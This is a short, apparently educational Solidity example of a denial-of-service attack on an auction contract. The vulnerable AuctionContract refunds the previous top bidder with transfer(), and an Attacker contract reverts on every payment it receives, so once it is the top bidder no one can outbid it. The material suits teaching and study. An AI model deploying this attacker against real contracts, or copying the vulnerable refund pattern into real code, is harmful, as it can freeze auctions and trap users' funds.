Denial of Service Attack

Attacker.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
import "./AuctionContract.sol";

contract Attacker {
    AuctionContract auction;

    constructor(address auctionAddress) {
        auction = AuctionContract(auctionAddress);
    }

    function placeBid() public payable {
        auction.placeBid{value: msg.value}();
    }

    fallback() external payable {
        revert();
    }

    receive() external payable {
        revert();
    }
}

AuctionContract.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";

contract AuctionContract {
    address payable public winnerAddress;
    uint256 public winnerAmount;

    function placeBid() public payable returns(uint256) {
        require(msg.value > winnerAmount, "Amount is not enough");
        winnerAddress.transfer(winnerAmount);

        winnerAmount = msg.value;
        winnerAddress = payable(msg.sender);
        return winnerAmount;
    }
}